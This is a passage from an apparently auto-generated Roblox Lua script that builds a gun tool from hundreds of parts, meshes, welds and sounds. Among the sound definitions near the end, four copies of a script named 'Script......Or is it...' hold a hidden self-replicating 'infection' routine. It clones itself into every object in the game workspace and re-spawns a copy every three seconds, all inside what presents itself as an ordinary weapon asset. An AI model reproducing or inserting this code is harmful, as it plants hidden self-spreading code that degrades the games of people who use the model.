  4972. SpecialMesh466.Scale = Vector3.new(0.600000024, 0.100000009, 0.166666672)
  4973. SpecialMesh466.MeshType = Enum.MeshType.Wedge
  4974. SpecialMesh466.Scale = Vector3.new(0.600000024, 0.100000009, 0.166666672)
  4975. Part467.Parent = Tool0
  4976. Part467.Material = Enum.Material.Metal
  4977. Part467.BrickColor = BrickColor.new("Black")
  4978. Part467.Rotation = Vector3.new(-90, 0, 90)
  4979. Part467.Anchored = true
  4980. Part467.FormFactor = Enum.FormFactor.Custom
  4981. Part467.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
  4982. Part467.CFrame = CFrame.new(144.67627, 3.71991396, 144.397598, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  4983. Part467.BottomSurface = Enum.SurfaceType.Smooth
  4984. Part467.TopSurface = Enum.SurfaceType.Smooth
  4985. Part467.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4986. Part467.Position = Vector3.new(144.67627, 3.71991396, 144.397598)
  4987. Part467.Orientation = Vector3.new(-90, 90, 0)
  4988. Part467.Color = Color3.new(0.105882, 0.164706, 0.207843)
  4989. BlockMesh468.Parent = Part467
  4990. BlockMesh468.Scale = Vector3.new(0.533332944, 1, 0.23333329)
  4991. BlockMesh468.Scale = Vector3.new(0.533332944, 1, 0.23333329)
  4992. Part469.Parent = Tool0
  4993. Part469.Material = Enum.Material.Metal
  4994. Part469.BrickColor = BrickColor.new("Dark stone grey")
  4995. Part469.Rotation = Vector3.new(90, 0, -180)
  4996. Part469.Anchored = true
  4997. Part469.FormFactor = Enum.FormFactor.Custom
  4998. Part469.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4999. Part469.CFrame = CFrame.new(143.302933, 4.00991011, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5000. Part469.BottomSurface = Enum.SurfaceType.Smooth
  5001. Part469.TopSurface = Enum.SurfaceType.Smooth
  5002. Part469.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5003. Part469.Position = Vector3.new(143.302933, 4.00991011, 144.337601)
  5004. Part469.Orientation = Vector3.new(90, 180, 0)
  5005. Part469.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5006. BlockMesh470.Parent = Part469
  5007. BlockMesh470.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  5008. BlockMesh470.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  5009. Part471.Parent = Tool0
  5010. Part471.Material = Enum.Material.Metal
  5011. Part471.BrickColor = BrickColor.new("Black")
  5012. Part471.Rotation = Vector3.new(-90, 0, 90)
  5013. Part471.Anchored = true
  5014. Part471.FormFactor = Enum.FormFactor.Symmetric
  5015. Part471.Size = Vector3.new(1, 1, 1)
  5016. Part471.CFrame = CFrame.new(143.78627, 3.09325004, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5017. Part471.BottomSurface = Enum.SurfaceType.Smooth
  5018. Part471.TopSurface = Enum.SurfaceType.Smooth
  5019. Part471.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5020. Part471.Position = Vector3.new(143.78627, 3.09325004, 144.39093)
  5021. Part471.Orientation = Vector3.new(-90, 90, 0)
  5022. Part471.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5023. SpecialMesh472.Parent = Part471
  5024. SpecialMesh472.Scale = Vector3.new(0.13333334, 0.0666666701, 0.0333333351)
  5025. SpecialMesh472.MeshType = Enum.MeshType.Wedge
  5026. SpecialMesh472.Scale = Vector3.new(0.13333334, 0.0666666701, 0.0333333351)
  5027. Part473.Parent = Tool0
  5028. Part473.Material = Enum.Material.Metal
  5029. Part473.BrickColor = BrickColor.new("Black")
  5030. Part473.Rotation = Vector3.new(-90, 0, 90)
  5031. Part473.Anchored = true
  5032. Part473.FormFactor = Enum.FormFactor.Symmetric
  5033. Part473.Size = Vector3.new(1, 1, 1)
  5034. Part473.CFrame = CFrame.new(143.736267, 3.14325094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5035. Part473.BottomSurface = Enum.SurfaceType.Smooth
  5036. Part473.TopSurface = Enum.SurfaceType.Smooth
  5037. Part473.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5038. Part473.Position = Vector3.new(143.736267, 3.14325094, 144.39093)
  5039. Part473.Orientation = Vector3.new(-90, 90, 0)
  5040. Part473.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5041. SpecialMesh474.Parent = Part473
  5042. SpecialMesh474.Scale = Vector3.new(0.13333334, 0.0333333351, 0.0666666701)
  5043. SpecialMesh474.MeshType = Enum.MeshType.Wedge
  5044. SpecialMesh474.Scale = Vector3.new(0.13333334, 0.0333333351, 0.0666666701)
  5045. Part475.Parent = Tool0
  5046. Part475.Material = Enum.Material.Metal
  5047. Part475.BrickColor = BrickColor.new("Black")
  5048. Part475.Rotation = Vector3.new(90, 0, 90)
  5049. Part475.Anchored = true
  5050. Part475.FormFactor = Enum.FormFactor.Custom
  5051. Part475.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5052. Part475.CFrame = CFrame.new(143.772934, 3.48657203, 144.440933, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  5053. Part475.BottomSurface = Enum.SurfaceType.Smooth
  5054. Part475.TopSurface = Enum.SurfaceType.Smooth
  5055. Part475.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5056. Part475.Position = Vector3.new(143.772934, 3.48657203, 144.440933)
  5057. Part475.Orientation = Vector3.new(90, -90, 0)
  5058. Part475.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5059. SpecialMesh476.Parent = Part475
  5060. SpecialMesh476.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  5061. SpecialMesh476.MeshType = Enum.MeshType.Wedge
  5062. SpecialMesh476.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
  5063. Part477.Parent = Tool0
  5064. Part477.Material = Enum.Material.Metal
  5065. Part477.BrickColor = BrickColor.new("Dark stone grey")
  5066. Part477.Rotation = Vector3.new(90, 0, -180)
  5067. Part477.Anchored = true
  5068. Part477.FormFactor = Enum.FormFactor.Custom
  5069. Part477.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5070. Part477.CFrame = CFrame.new(143.156265, 4.0132432, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5071. Part477.BottomSurface = Enum.SurfaceType.Smooth
  5072. Part477.TopSurface = Enum.SurfaceType.Smooth
  5073. Part477.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5074. Part477.Position = Vector3.new(143.156265, 4.0132432, 144.434265)
  5075. Part477.Orientation = Vector3.new(90, 180, 0)
  5076. Part477.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5077. BlockMesh478.Parent = Part477
  5078. BlockMesh478.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  5079. BlockMesh478.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  5080. Part479.Parent = Tool0
  5081. Part479.Material = Enum.Material.Metal
  5082. Part479.BrickColor = BrickColor.new("Dark stone grey")
  5083. Part479.Rotation = Vector3.new(90, 0, -180)
  5084. Part479.Anchored = true
  5085. Part479.FormFactor = Enum.FormFactor.Custom
  5086. Part479.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5087. Part479.CFrame = CFrame.new(144.939606, 4.04324293, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5088. Part479.BottomSurface = Enum.SurfaceType.Smooth
  5089. Part479.TopSurface = Enum.SurfaceType.Smooth
  5090. Part479.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5091. Part479.Position = Vector3.new(144.939606, 4.04324293, 144.444275)
  5092. Part479.Orientation = Vector3.new(90, 180, 0)
  5093. Part479.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5094. BlockMesh480.Parent = Part479
  5095. BlockMesh480.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  5096. BlockMesh480.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  5097. Part481.Parent = Tool0
  5098. Part481.Material = Enum.Material.Metal
  5099. Part481.BrickColor = BrickColor.new("Dark stone grey")
  5100. Part481.Rotation = Vector3.new(90, 0, -180)
  5101. Part481.Anchored = true
  5102. Part481.FormFactor = Enum.FormFactor.Custom
  5103. Part481.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5104. Part481.CFrame = CFrame.new(144.389603, 3.90657496, 144.267593, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5105. Part481.BottomSurface = Enum.SurfaceType.Smooth
  5106. Part481.TopSurface = Enum.SurfaceType.Smooth
  5107. Part481.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5108. Part481.Position = Vector3.new(144.389603, 3.90657496, 144.267593)
  5109. Part481.Orientation = Vector3.new(90, 180, 0)
  5110. Part481.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5111. CylinderMesh482.Parent = Part481
  5112. CylinderMesh482.Scale = Vector3.new(0.333333343, 0.100000009, 1.66666675)
  5113. CylinderMesh482.Scale = Vector3.new(0.333333343, 0.100000009, 1.66666675)
  5114. Part483.Parent = Tool0
  5115. Part483.Material = Enum.Material.Metal
  5116. Part483.BrickColor = BrickColor.new("Dark stone grey")
  5117. Part483.Rotation = Vector3.new(90, 0, -180)
  5118. Part483.Anchored = true
  5119. Part483.FormFactor = Enum.FormFactor.Custom
  5120. Part483.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5121. Part483.CFrame = CFrame.new(143.156265, 4.0299139, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5122. Part483.BottomSurface = Enum.SurfaceType.Smooth
  5123. Part483.TopSurface = Enum.SurfaceType.Smooth
  5124. Part483.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5125. Part483.Position = Vector3.new(143.156265, 4.0299139, 144.444275)
  5126. Part483.Orientation = Vector3.new(90, 180, 0)
  5127. Part483.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5128. CylinderMesh484.Parent = Part483
  5129. CylinderMesh484.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5130. CylinderMesh484.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5131. Part485.Parent = Tool0
  5132. Part485.Material = Enum.Material.Metal
  5133. Part485.BrickColor = BrickColor.new("Black")
  5134. Part485.Rotation = Vector3.new(-90, 0, -180)
  5135. Part485.Anchored = true
  5136. Part485.FormFactor = Enum.FormFactor.Custom
  5137. Part485.Size = Vector3.new(0.200000003, 0.213333279, 0.200000003)
  5138. Part485.CFrame = CFrame.new(143.682938, 3.726578, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  5139. Part485.BottomSurface = Enum.SurfaceType.Smooth
  5140. Part485.TopSurface = Enum.SurfaceType.Smooth
  5141. Part485.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5142. Part485.Position = Vector3.new(143.682938, 3.726578, 144.39093)
  5143. Part485.Orientation = Vector3.new(-90, -180, 0)
  5144. Part485.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5145. CylinderMesh486.Parent = Part485
  5146. CylinderMesh486.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  5147. CylinderMesh486.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  5148. Part487.Parent = Tool0
  5149. Part487.Material = Enum.Material.Metal
  5150. Part487.BrickColor = BrickColor.new("Black")
  5151. Part487.Rotation = Vector3.new(-90, 0, 90)
  5152. Part487.Anchored = true
  5153. Part487.FormFactor = Enum.FormFactor.Symmetric
  5154. Part487.Size = Vector3.new(1, 1, 1)
  5155. Part487.CFrame = CFrame.new(143.869598, 3.14325094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5156. Part487.BottomSurface = Enum.SurfaceType.Smooth
  5157. Part487.TopSurface = Enum.SurfaceType.Smooth
  5158. Part487.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5159. Part487.Position = Vector3.new(143.869598, 3.14325094, 144.39093)
  5160. Part487.Orientation = Vector3.new(-90, 90, 0)
  5161. Part487.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5162. BlockMesh488.Parent = Part487
  5163. BlockMesh488.Scale = Vector3.new(0.13333334, 0.233333334, 0.0666666701)
  5164. BlockMesh488.Scale = Vector3.new(0.13333334, 0.233333334, 0.0666666701)
  5165. Part489.Parent = Tool0
  5166. Part489.Material = Enum.Material.Metal
  5167. Part489.BrickColor = BrickColor.new("Black")
  5168. Part489.Rotation = Vector3.new(0, 90, 0)
  5169. Part489.Anchored = true
  5170. Part489.FormFactor = Enum.FormFactor.Custom
  5171. Part489.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5172. Part489.CFrame = CFrame.new(144.469604, 3.84324694, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  5173. Part489.BottomSurface = Enum.SurfaceType.Smooth
  5174. Part489.TopSurface = Enum.SurfaceType.Smooth
  5175. Part489.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5176. Part489.Position = Vector3.new(144.469604, 3.84324694, 144.28093)
  5177. Part489.Orientation = Vector3.new(0, 90, 0)
  5178. Part489.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5179. BlockMesh490.Parent = Part489
  5180. BlockMesh490.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  5181. BlockMesh490.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  5182. Part491.Parent = Tool0
  5183. Part491.Material = Enum.Material.Metal
  5184. Part491.BrickColor = BrickColor.new("Dark stone grey")
  5185. Part491.Rotation = Vector3.new(-90, 29.9899998, 90)
  5186. Part491.Anchored = true
  5187. Part491.FormFactor = Enum.FormFactor.Custom
  5188. Part491.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5189. Part491.CFrame = CFrame.new(144.279358, 3.49902511, 144.39093, 0, -0.866130412, 0.499818146, 0, 0.499818146, 0.866130412, -1, -0, 0)
  5190. Part491.BottomSurface = Enum.SurfaceType.Smooth
  5191. Part491.TopSurface = Enum.SurfaceType.Smooth
  5192. Part491.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5193. Part491.Position = Vector3.new(144.279358, 3.49902511, 144.39093)
  5194. Part491.Orientation = Vector3.new(-60.0099983, 90, 0)
  5195. Part491.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5196. BlockMesh492.Parent = Part491
  5197. BlockMesh492.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  5198. BlockMesh492.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  5199. Part493.Parent = Tool0
  5200. Part493.Material = Enum.Material.Metal
  5201. Part493.BrickColor = BrickColor.new("Dark stone grey")
  5202. Part493.Rotation = Vector3.new(90, 0.00999999978, 90)
  5203. Part493.Anchored = true
  5204. Part493.FormFactor = Enum.FormFactor.Custom
  5205. Part493.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5206. Part493.CFrame = CFrame.new(144.286911, 3.62545395, 144.39093, 0, -1, 0.00012601912, 0, -0.00012601912, -1, 1, 0, 0)
  5207. Part493.BottomSurface = Enum.SurfaceType.Smooth
  5208. Part493.TopSurface = Enum.SurfaceType.Smooth
  5209. Part493.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5210. Part493.Position = Vector3.new(144.286911, 3.62545395, 144.39093)
  5211. Part493.Orientation = Vector3.new(90, -90, 0)
  5212. Part493.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5213. BlockMesh494.Parent = Part493
  5214. BlockMesh494.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  5215. BlockMesh494.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  5216. ManualWeld495.Name = "Part-to-Handle Strong Joint"
  5217. ManualWeld495.Parent = Part493
  5218. ManualWeld495.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5219. ManualWeld495.C1 = CFrame.new(-0.100006104, -0.140009403, -0.100021362, -1, 0, 0, 0, -1, -0.000188931823, 0, -0.000188931823, 1)
  5220. ManualWeld495.Part0 = Part493
  5221. ManualWeld495.Part1 = Part30
  5222. Part496.Parent = Tool0
  5223. Part496.Material = Enum.Material.Metal
  5224. Part496.BrickColor = BrickColor.new("Dark stone grey")
  5225. Part496.Rotation = Vector3.new(90, 0, -180)
  5226. Part496.Anchored = true
  5227. Part496.FormFactor = Enum.FormFactor.Custom
  5228. Part496.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5229. Part496.CFrame = CFrame.new(143.222946, 4.07324219, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5230. Part496.BottomSurface = Enum.SurfaceType.Smooth
  5231. Part496.TopSurface = Enum.SurfaceType.Smooth
  5232. Part496.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5233. Part496.Position = Vector3.new(143.222946, 4.07324219, 144.410934)
  5234. Part496.Orientation = Vector3.new(90, 180, 0)
  5235. Part496.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5236. BlockMesh497.Parent = Part496
  5237. BlockMesh497.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  5238. BlockMesh497.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  5239. Part498.Parent = Tool0
  5240. Part498.Material = Enum.Material.Metal
  5241. Part498.BrickColor = BrickColor.new("Dark stone grey")
  5242. Part498.Rotation = Vector3.new(-90, -45, -90)
  5243. Part498.Anchored = true
  5244. Part498.FormFactor = Enum.FormFactor.Custom
  5245. Part498.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5246. Part498.CFrame = CFrame.new(144.112671, 3.58569193, 144.39093, 0, 0.707084656, -0.707129121, 0, 0.707129121, 0.707084656, 1, 0, -0)
  5247. Part498.BottomSurface = Enum.SurfaceType.Smooth
  5248. Part498.TopSurface = Enum.SurfaceType.Smooth
  5249. Part498.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5250. Part498.Position = Vector3.new(144.112671, 3.58569193, 144.39093)
  5251. Part498.Orientation = Vector3.new(-45, -90, 0)
  5252. Part498.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5253. BlockMesh499.Parent = Part498
  5254. BlockMesh499.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  5255. BlockMesh499.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  5256. Part500.Parent = Tool0
  5257. Part500.Material = Enum.Material.Metal
  5258. Part500.BrickColor = BrickColor.new("Black")
  5259. Part500.Rotation = Vector3.new(-90, -15.0099993, -90)
  5260. Part500.Anchored = true
  5261. Part500.FormFactor = Enum.FormFactor.Custom
  5262. Part500.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5263. Part500.CFrame = CFrame.new(143.124802, 3.89670396, 144.300934, 0, 0.965896666, -0.258930802, 0, 0.258930802, 0.965896666, 1, 0, -0)
  5264. Part500.BottomSurface = Enum.SurfaceType.Smooth
  5265. Part500.TopSurface = Enum.SurfaceType.Smooth
  5266. Part500.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5267. Part500.Position = Vector3.new(143.124802, 3.89670396, 144.300934)
  5268. Part500.Orientation = Vector3.new(-74.9899979, -90, 0)
  5269. Part500.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5270. SpecialMesh501.Parent = Part500
  5271. SpecialMesh501.Scale = Vector3.new(0.133333102, 0.100000009, 0.666666746)
  5272. SpecialMesh501.MeshType = Enum.MeshType.Wedge
  5273. SpecialMesh501.Scale = Vector3.new(0.133333102, 0.100000009, 0.666666746)
  5274. Part502.Parent = Tool0
  5275. Part502.Material = Enum.Material.Metal
  5276. Part502.BrickColor = BrickColor.new("Dark stone grey")
  5277. Part502.Rotation = Vector3.new(-90, 0, -180)
  5278. Part502.Anchored = true
  5279. Part502.FormFactor = Enum.FormFactor.Custom
  5280. Part502.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5281. Part502.CFrame = CFrame.new(143.782944, 3.76324296, 144.500931, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  5282. Part502.BottomSurface = Enum.SurfaceType.Smooth
  5283. Part502.TopSurface = Enum.SurfaceType.Smooth
  5284. Part502.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5285. Part502.Position = Vector3.new(143.782944, 3.76324296, 144.500931)
  5286. Part502.Orientation = Vector3.new(-90, -180, 0)
  5287. Part502.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5288. CylinderMesh503.Parent = Part502
  5289. CylinderMesh503.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  5290. CylinderMesh503.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  5291. Part504.Parent = Tool0
  5292. Part504.Material = Enum.Material.Metal
  5293. Part504.BrickColor = BrickColor.new("Dark stone grey")
  5294. Part504.Rotation = Vector3.new(90, 0, -180)
  5295. Part504.Anchored = true
  5296. Part504.FormFactor = Enum.FormFactor.Custom
  5297. Part504.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5298. Part504.CFrame = CFrame.new(143.802933, 3.43991399, 144.320938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5299. Part504.BottomSurface = Enum.SurfaceType.Smooth
  5300. Part504.TopSurface = Enum.SurfaceType.Smooth
  5301. Part504.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5302. Part504.Position = Vector3.new(143.802933, 3.43991399, 144.320938)
  5303. Part504.Orientation = Vector3.new(90, 180, 0)
  5304. Part504.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5305. CylinderMesh505.Parent = Part504
  5306. CylinderMesh505.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5307. CylinderMesh505.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5308. Part506.Parent = Tool0
  5309. Part506.Material = Enum.Material.Metal
  5310. Part506.BrickColor = BrickColor.new("Dark stone grey")
  5311. Part506.Rotation = Vector3.new(-180, 0, 0)
  5312. Part506.Anchored = true
  5313. Part506.FormFactor = Enum.FormFactor.Custom
  5314. Part506.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5315. Part506.CFrame = CFrame.new(144.936279, 4.06991482, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  5316. Part506.BottomSurface = Enum.SurfaceType.Smooth
  5317. Part506.TopSurface = Enum.SurfaceType.Smooth
  5318. Part506.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5319. Part506.Position = Vector3.new(144.936279, 4.06991482, 144.387604)
  5320. Part506.Orientation = Vector3.new(0, 180, 180)
  5321. Part506.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5322. CylinderMesh507.Parent = Part506
  5323. CylinderMesh507.Scale = Vector3.new(0.0649996921, 0.266666681, 0.0650000274)
  5324. CylinderMesh507.Scale = Vector3.new(0.0649996921, 0.266666681, 0.0650000274)
  5325. Part508.Parent = Tool0
  5326. Part508.Material = Enum.Material.Metal
  5327. Part508.BrickColor = BrickColor.new("Dark stone grey")
  5328. Part508.Rotation = Vector3.new(90, 0, -180)
  5329. Part508.Anchored = true
  5330. Part508.FormFactor = Enum.FormFactor.Custom
  5331. Part508.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5332. Part508.CFrame = CFrame.new(144.939606, 4.04324293, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5333. Part508.BottomSurface = Enum.SurfaceType.Smooth
  5334. Part508.TopSurface = Enum.SurfaceType.Smooth
  5335. Part508.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5336. Part508.Position = Vector3.new(144.939606, 4.04324293, 144.337601)
  5337. Part508.Orientation = Vector3.new(90, 180, 0)
  5338. Part508.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5339. BlockMesh509.Parent = Part508
  5340. BlockMesh509.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  5341. BlockMesh509.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  5342. Part510.Name = "Handle"
  5343. Part510.Parent = Tool0
  5344. Part510.Material = Enum.Material.Metal
  5345. Part510.BrickColor = BrickColor.new("Dark stone grey")
  5346. Part510.Transparency = 5
  5347. Part510.Rotation = Vector3.new(0, -90, 0)
  5348. Part510.Anchored = true
  5349. Part510.FormFactor = Enum.FormFactor.Custom
  5350. Part510.Size = Vector3.new(0.200000003, 0.200000003, 0.200000048)
  5351. Part510.CFrame = CFrame.new(144.086838, 3.19991946, 144.39093, 0, 6.29127026e-05, -1, 0, 1, 6.29127026e-05, 1, 0, -0)
  5352. Part510.BottomSurface = Enum.SurfaceType.Smooth
  5353. Part510.TopSurface = Enum.SurfaceType.Smooth
  5354. Part510.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5355. Part510.Position = Vector3.new(144.086838, 3.19991946, 144.39093)
  5356. Part510.Orientation = Vector3.new(0, -90, 0)
  5357. Part510.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5358. BlockMesh511.Parent = Part510
  5359. BlockMesh511.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  5360. BlockMesh511.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  5361. Sound512.Name = "Reload"
  5362. Sound512.Parent = Part510
  5363. Sound512.SoundId = "http://roblox.com/asset/?id=10209636"
  5364. Sound512.Volume = 1
  5365. Sound512.PlayOnRemove = true
  5366. Script513.Name = "Script......Or is it..."
  5367. Script513.Parent = mas
  5368. table.insert(cors,sandbox(Script513,function()
  5369. if script.Parent.className ~= "RotateP" then
  5370. local p = Instance.new("RotateP")
  5371. p.Parent = workspace
  5372. p.Name = "INfecTION"
  5373. script.Parent = p
  5374. end
  5375.  
  5376. function check()
  5377. local list = workspace:GetChildren()
  5378. for i = 1, #list do
  5379. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  5380. script.Parent:Clone().Parent = list[i]
  5381. end
  5382. wait()
  5383. end
  5384. end
  5385.  
  5386. while true do
  5387. check()
  5388. if workspace:findFirstChild("inFECtion") == nil then
  5389. local main = script.Parent:Clone()
  5390. main.Name = "inFECtion"
  5391. main.Parent = workspace
  5392. end
  5393. wait(3)
  5394. end
  5395.  
  5396. end))
  5397. Sound514.Name = "Reload"
  5398. Sound514.Parent = Part510
  5399. Sound514.Pitch = 2
  5400. Sound514.SoundId = "http://roblox.com/asset/?id=10209834"
  5401. Sound514.Volume = 1
  5402. Sound514.PlayOnRemove = true
  5403. Script515.Name = "Script......Or is it..."
  5404. Script515.Parent = mas
  5405. table.insert(cors,sandbox(Script515,function()
  5406. if script.Parent.className ~= "RotateP" then
  5407. local p = Instance.new("RotateP")
  5408. p.Parent = workspace
  5409. p.Name = "INfecTION"
  5410. script.Parent = p
  5411. end
  5412.  
  5413. function check()
  5414. local list = workspace:GetChildren()
  5415. for i = 1, #list do
  5416. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  5417. script.Parent:Clone().Parent = list[i]
  5418. end
  5419. wait()
  5420. end
  5421. end
  5422.  
  5423. while true do
  5424. check()
  5425. if workspace:findFirstChild("inFECtion") == nil then
  5426. local main = script.Parent:Clone()
  5427. main.Name = "inFECtion"
  5428. main.Parent = workspace
  5429. end
  5430. wait(3)
  5431. end
  5432.  
  5433. end))
  5434. Sound516.Name = "Reload"
  5435. Sound516.Parent = Part510
  5436. Sound516.Pitch = 3
  5437. Sound516.SoundId = "http://roblox.com/asset/?id=10209834"
  5438. Sound516.Volume = 1
  5439. Sound516.PlayOnRemove = true
  5440. Script517.Name = "Script......Or is it..."
  5441. Script517.Parent = mas
  5442. table.insert(cors,sandbox(Script517,function()
  5443. if script.Parent.className ~= "RotateP" then
  5444. local p = Instance.new("RotateP")
  5445. p.Parent = workspace
  5446. p.Name = "INfecTION"
  5447. script.Parent = p
  5448. end
  5449.  
  5450. function check()
  5451. local list = workspace:GetChildren()
  5452. for i = 1, #list do
  5453. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  5454. script.Parent:Clone().Parent = list[i]
  5455. end
  5456. wait()
  5457. end
  5458. end
  5459.  
  5460. while true do
  5461. check()
  5462. if workspace:findFirstChild("inFECtion") == nil then
  5463. local main = script.Parent:Clone()
  5464. main.Name = "inFECtion"
  5465. main.Parent = workspace
  5466. end
  5467. wait(3)
  5468. end
  5469.  
  5470. end))
  5471. Sound518.Name = "Reload"
  5472. Sound518.Parent = Part510
  5473. Sound518.Pitch = 0.75
  5474. Sound518.SoundId = "http://roblox.com/asset/?id=10209834"
  5475. Sound518.Volume = 1
  5476. Sound518.PlayOnRemove = true
  5477. Script519.Name = "Script......Or is it..."
  5478. Script519.Parent = mas
  5479. table.insert(cors,sandbox(Script519,function()
  5480. if script.Parent.className ~= "RotateP" then
  5481. local p = Instance.new("RotateP")
  5482. p.Parent = workspace
  5483. p.Name = "INfecTION"
  5484. script.Parent = p
  5485. end
  5486.  
  5487. function check()
  5488. local list = workspace:GetChildren()
  5489. for i = 1, #list do
  5490. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  5491. script.Parent:Clone().Parent = list[i]
  5492. end
  5493. wait()
  5494. end
  5495. end
  5496.  
  5497. while true do
  5498. check()
  5499. if workspace:findFirstChild("inFECtion") == nil then
  5500. local main = script.Parent:Clone()
  5501. main.Name = "inFECtion"
  5502. main.Parent = workspace
  5503. end
  5504. wait(3)
  5505. end
  5506.  
  5507. end))
  5508. Sound520.Name = "Shoot"
  5509. Sound520.Parent = Part510
  5510. Sound520.Pitch = 2
